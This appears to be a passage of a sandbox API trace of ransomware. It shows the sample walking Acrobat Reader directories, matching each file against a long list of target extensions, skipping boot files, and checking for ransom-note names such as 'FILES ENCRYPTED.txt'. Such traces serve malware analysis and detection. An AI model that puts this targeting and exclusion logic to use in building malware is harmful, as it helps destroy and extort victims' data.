DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156f0 [0272.390] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0272.390] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x729, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.390] lstrlenW (lpString="ui-strings.js") returned 13 [0272.390] lstrlenW (lpString=".1cd") returned 4 [0272.390] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0272.390] lstrlenW (lpString=".3ds") returned 4 [0272.390] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0272.390] lstrlenW (lpString=".3fr") returned 4 [0272.390] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0272.390] lstrlenW (lpString=".3g2") returned 4 [0272.390] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0272.390] lstrlenW (lpString=".3gp") returned 4 [0272.391] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0272.391] lstrlenW (lpString=".7z") returned 3 [0272.391] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0272.391] lstrlenW (lpString=".accda") returned 6 [0272.391] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0272.391] lstrlenW (lpString=".accdb") returned 6 [0272.391] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0272.391] lstrlenW (lpString=".accdc") returned 6 [0272.391] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0272.391] lstrlenW (lpString=".accde") returned 6 [0272.391] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0272.391] lstrlenW (lpString=".accdt") returned 6 [0272.391] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0272.391] lstrlenW (lpString=".accdw") returned 6 [0272.391] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0272.391] lstrlenW (lpString=".adb") returned 4 [0272.391] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0272.391] lstrlenW (lpString=".adp") returned 4 [0272.391] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0272.391] lstrlenW (lpString=".ai") returned 3 [0272.391] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0272.391] lstrlenW (lpString=".ai3") returned 4 [0272.391] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0272.391] lstrlenW (lpString=".ai4") returned 4 [0272.391] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0272.392] lstrlenW (lpString=".ai5") returned 4 [0272.392] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0272.392] lstrlenW (lpString=".ai6") returned 4 [0272.392] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0272.392] lstrlenW (lpString=".ai7") returned 4 [0272.392] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0272.392] lstrlenW (lpString=".ai8") returned 4 [0272.392] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0272.392] lstrlenW (lpString=".anim") returned 5 [0272.392] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0272.392] lstrlenW (lpString=".arw") returned 4 [0272.392] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0272.392] lstrlenW (lpString=".as") returned 3 [0272.392] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0272.392] lstrlenW (lpString=".asa") returned 4 [0272.392] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0272.392] lstrlenW (lpString=".asc") returned 4 [0272.392] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0272.392] lstrlenW (lpString=".ascx") returned 5 [0272.392] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0272.392] lstrlenW (lpString=".asm") returned 4 [0272.392] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0272.392] lstrlenW (lpString=".asmx") returned 5 [0272.392] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0272.392] lstrlenW (lpString=".asp") returned 4 [0272.392] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0272.392] lstrlenW (lpString=".aspx") returned 5 [0272.393] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0272.393] lstrlenW (lpString=".asr") returned 4 [0272.393] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0272.393] lstrlenW (lpString=".asx") returned 4 [0272.393] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0272.393] lstrlenW (lpString=".avi") returned 4 [0272.393] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0272.393] lstrlenW (lpString=".avs") returned 4 [0272.393] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0272.393] lstrlenW (lpString=".backup") returned 7 [0272.393] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0272.393] lstrlenW (lpString=".bak") returned 4 [0272.393] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0272.393] lstrlenW (lpString=".bay") returned 4 [0272.393] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0272.393] lstrlenW (lpString=".bd") returned 3 [0272.393] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0272.393] lstrlenW (lpString=".bin") returned 4 [0272.393] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0272.393] lstrlenW (lpString=".bmp") returned 4 [0272.393] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0272.393] lstrlenW (lpString=".bz2") returned 4 [0272.393] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0272.393] lstrlenW (lpString=".c") returned 2 [0272.393] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0272.393] lstrlenW (lpString=".cdr") returned 4 [0272.393] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0272.394] lstrlenW (lpString=".cer") returned 4 [0272.394] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0272.394] lstrlenW (lpString=".cf") returned 3 [0272.394] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0272.394] lstrlenW (lpString=".cfc") returned 4 [0272.394] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0272.394] lstrlenW (lpString=".cfm") returned 4 [0272.394] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0272.394] lstrlenW (lpString=".cfml") returned 5 [0272.394] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0272.394] lstrlenW (lpString=".cfu") returned 4 [0272.394] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0272.394] lstrlenW (lpString=".chm") returned 4 [0272.394] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0272.394] lstrlenW (lpString=".cin") returned 4 [0272.394] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0272.394] lstrlenW (lpString=".class") returned 6 [0272.394] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0272.394] lstrlenW (lpString=".clx") returned 4 [0272.394] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0272.394] lstrlenW (lpString=".config") returned 7 [0272.394] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0272.394] lstrlenW (lpString=".cpp") returned 4 [0272.394] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0272.394] lstrlenW (lpString=".cr2") returned 4 [0272.394] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0272.394] lstrlenW (lpString=".crt") returned 4 [0272.395] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0272.395] lstrlenW (lpString=".crw") returned 4 [0272.395] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0272.395] lstrlenW (lpString=".cs") returned 3 [0272.395] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0272.395] lstrlenW (lpString=".css") returned 4 [0272.395] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0272.395] lstrlenW (lpString=".csv") returned 4 [0272.395] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0272.395] lstrlenW (lpString=".cub") returned 4 [0272.395] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0272.395] lstrlenW (lpString=".dae") returned 4 [0272.395] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0272.395] lstrlenW (lpString=".dat") returned 4 [0272.395] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0272.395] lstrlenW (lpString=".db") returned 3 [0272.395] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0272.395] lstrlenW (lpString=".dbf") returned 4 [0272.395] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0272.395] lstrlenW (lpString=".dbx") returned 4 [0272.395] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0272.395] lstrlenW (lpString=".dc3") returned 4 [0272.395] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0272.395] lstrlenW (lpString=".dcm") returned 4 [0272.395] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0272.395] lstrlenW (lpString=".dcr") returned 4 [0272.395] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0272.396] lstrlenW (lpString=".der") returned 4 [0272.396] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0272.396] lstrlenW (lpString=".dib") returned 4 [0272.396] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0272.396] lstrlenW (lpString=".dic") returned 4 [0272.396] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0272.396] lstrlenW (lpString=".dif") returned 4 [0272.396] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0272.396] lstrlenW (lpString=".divx") returned 5 [0272.396] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0272.396] lstrlenW (lpString=".djvu") returned 5 [0272.396] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0272.396] lstrlenW (lpString=".dng") returned 4 [0272.396] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0272.396] lstrlenW (lpString=".doc") returned 4 [0272.396] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0272.396] lstrlenW (lpString=".docm") returned 5 [0272.396] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0272.396] lstrlenW (lpString=".docx") returned 5 [0272.396] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0272.396] lstrlenW (lpString=".dot") returned 4 [0272.396] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0272.396] lstrlenW (lpString=".dotm") returned 5 [0272.396] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0272.396] lstrlenW (lpString=".dotx") returned 5 [0272.396] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0272.396] lstrlenW (lpString=".dpx") returned 4 [0272.397] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0272.397] lstrlenW (lpString=".dqy") returned 4 [0272.397] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0272.397] lstrlenW (lpString=".dsn") returned 4 [0272.397] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0272.397] lstrlenW (lpString=".dt") returned 3 [0272.397] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0272.397] lstrlenW (lpString=".dtd") returned 4 [0272.397] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0272.397] lstrlenW (lpString=".dwg") returned 4 [0272.397] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0272.401] lstrlenW (lpString=".dwt") returned 4 [0272.401] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0272.401] lstrlenW (lpString=".dx") returned 3 [0272.401] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0272.401] lstrlenW (lpString=".dxf") returned 4 [0272.401] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0272.401] lstrlenW (lpString=".edml") returned 5 [0272.401] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0272.401] lstrlenW (lpString=".efd") returned 4 [0272.401] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0272.401] lstrlenW (lpString=".elf") returned 4 [0272.401] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0272.401] lstrlenW (lpString=".emf") returned 4 [0272.401] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0272.401] lstrlenW (lpString=".emz") returned 4 [0272.401] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0272.401] lstrlenW (lpString=".epf") returned 4 [0272.401] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0272.401] lstrlenW (lpString=".eps") returned 4 [0272.401] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0272.401] lstrlenW (lpString=".epsf") returned 5 [0272.401] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0272.401] lstrlenW (lpString=".epsp") returned 5 [0272.401] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0272.401] lstrlenW (lpString=".erf") returned 4 [0272.401] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0272.402] lstrlenW (lpString=".exr") returned 4 [0272.402] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0272.402] lstrlenW (lpString=".f4v") returned 4 [0272.402] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0272.402] lstrlenW (lpString=".fido") returned 5 [0272.402] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0272.402] lstrlenW (lpString=".flm") returned 4 [0272.402] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0272.402] lstrlenW (lpString=".flv") returned 4 [0272.402] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0272.402] lstrlenW (lpString=".frm") returned 4 [0272.402] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0272.402] lstrlenW (lpString=".fxg") returned 4 [0272.402] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0272.402] lstrlenW (lpString=".geo") returned 4 [0272.402] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0272.402] lstrlenW (lpString=".gif") returned 4 [0272.402] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0272.402] lstrlenW (lpString=".grs") returned 4 [0272.402] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0272.402] lstrlenW (lpString=".gz") returned 3 [0272.402] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0272.402] lstrlenW (lpString=".h") returned 2 [0272.402] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0272.402] lstrlenW (lpString=".hdr") returned 4 [0272.402] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0272.402] lstrlenW (lpString=".hpp") returned 4 [0272.402] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0272.403] lstrlenW (lpString=".hta") returned 4 [0272.403] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0272.403] lstrlenW (lpString=".htc") returned 4 [0272.403] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0272.403] lstrlenW (lpString=".htm") returned 4 [0272.403] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0272.403] lstrlenW (lpString=".html") returned 5 [0272.403] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0272.403] lstrlenW (lpString=".icb") returned 4 [0272.403] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0272.403] lstrlenW (lpString=".ics") returned 4 [0272.403] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0272.403] lstrlenW (lpString=".iff") returned 4 [0272.403] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0272.403] lstrlenW (lpString=".inc") returned 4 [0272.403] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0272.403] lstrlenW (lpString=".indd") returned 5 [0272.403] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0272.403] lstrlenW (lpString=".ini") returned 4 [0272.403] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0272.403] lstrlenW (lpString=".iqy") returned 4 [0272.403] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0272.403] lstrlenW (lpString=".j2c") returned 4 [0272.403] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0272.403] lstrlenW (lpString=".j2k") returned 4 [0272.403] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0272.403] lstrlenW (lpString=".java") returned 5 [0272.403] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0272.403] lstrlenW (lpString=".jp2") returned 4 [0272.403] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0272.403] lstrlenW (lpString=".jpc") returned 4 [0272.404] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0272.404] lstrlenW (lpString=".jpe") returned 4 [0272.404] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0272.404] lstrlenW (lpString=".jpeg") returned 5 [0272.404] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0272.404] lstrlenW (lpString=".jpf") returned 4 [0272.404] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0272.404] lstrlenW (lpString=".jpg") returned 4 [0272.404] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0272.404] lstrlenW (lpString=".jpx") returned 4 [0272.404] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0272.404] lstrlenW (lpString=".js") returned 3 [0272.404] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0272.404] lstrlenW (lpString="ui-strings.js") returned 13 [0272.404] lstrlenW (lpString=".love$") returned 6 [0272.404] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0272.404] lstrlenW (lpString="ui-strings.js") returned 13 [0272.404] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0272.404] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0272.405] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0272.405] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0272.405] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0272.405] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0272.405] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0272.405] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0272.405] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\ui-strings.js") returned 133 [0272.405] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x729, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0272.405] FindClose (in: hFindFile=0x33156f0 | out: hFindFile=0x33156f0) returned 1 [0272.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0272.405] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0272.405] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr") returned 119 [0272.405] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr") returned 1 [0272.405] lstrlenW (lpString="fr-fr") returned 5 [0272.405] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="fr-fr") returned -1 [0272.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0272.406] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr") returned 119 [0272.406] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315730 [0272.406] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0272.406] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.406] lstrlenW (lpString="ui-strings.js") returned 13 [0272.406] lstrlenW (lpString=".1cd") returned 4 [0272.406] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0272.406] lstrlenW (lpString=".3ds") returned 4 [0272.406] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0272.406] lstrlenW (lpString=".3fr") returned 4 [0272.406] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0272.406] lstrlenW (lpString=".3g2") returned 4 [0272.406] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0272.406] lstrlenW (lpString=".3gp") returned 4 [0272.406] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0272.406] lstrlenW (lpString=".7z") returned 3 [0272.406] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0272.406] lstrlenW (lpString=".accda") returned 6 [0272.407] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0272.407] lstrlenW (lpString=".accdb") returned 6 [0272.407] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0272.407] lstrlenW (lpString=".accdc") returned 6 [0272.407] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0272.407] lstrlenW (lpString=".accde") returned 6 [0272.407] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0272.407] lstrlenW (lpString=".accdt") returned 6 [0272.407] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0272.407] lstrlenW (lpString=".accdw") returned 6 [0272.407] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0272.407] lstrlenW (lpString=".adb") returned 4 [0272.407] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0272.407] lstrlenW (lpString=".adp") returned 4 [0272.407] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0272.407] lstrlenW (lpString=".ai") returned 3 [0272.407] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0272.407] lstrlenW (lpString=".ai3") returned 4 [0272.407] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0272.407] lstrlenW (lpString=".ai4") returned 4 [0272.407] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0272.407] lstrlenW (lpString=".ai5") returned 4 [0272.407] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0272.407] lstrlenW (lpString=".ai6") returned 4 [0272.407] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0272.407] lstrlenW (lpString=".ai7") returned 4 [0272.407] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0272.407] lstrlenW (lpString=".ai8") returned 4 [0272.407] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0272.407] lstrlenW (lpString=".anim") returned 5 [0272.408] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0272.408] lstrlenW (lpString=".arw") returned 4 [0272.408] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0272.408] lstrlenW (lpString=".as") returned 3 [0272.408] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0272.408] lstrlenW (lpString=".asa") returned 4 [0272.408] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0272.408] lstrlenW (lpString=".asc") returned 4 [0272.408] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0272.408] lstrlenW (lpString=".ascx") returned 5 [0272.408] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0272.408] lstrlenW (lpString=".asm") returned 4 [0272.408] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0272.408] lstrlenW (lpString=".asmx") returned 5 [0272.408] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0272.408] lstrlenW (lpString=".asp") returned 4 [0272.408] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0272.408] lstrlenW (lpString=".aspx") returned 5 [0272.408] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0272.408] lstrlenW (lpString=".asr") returned 4 [0272.408] lstrcmpiW 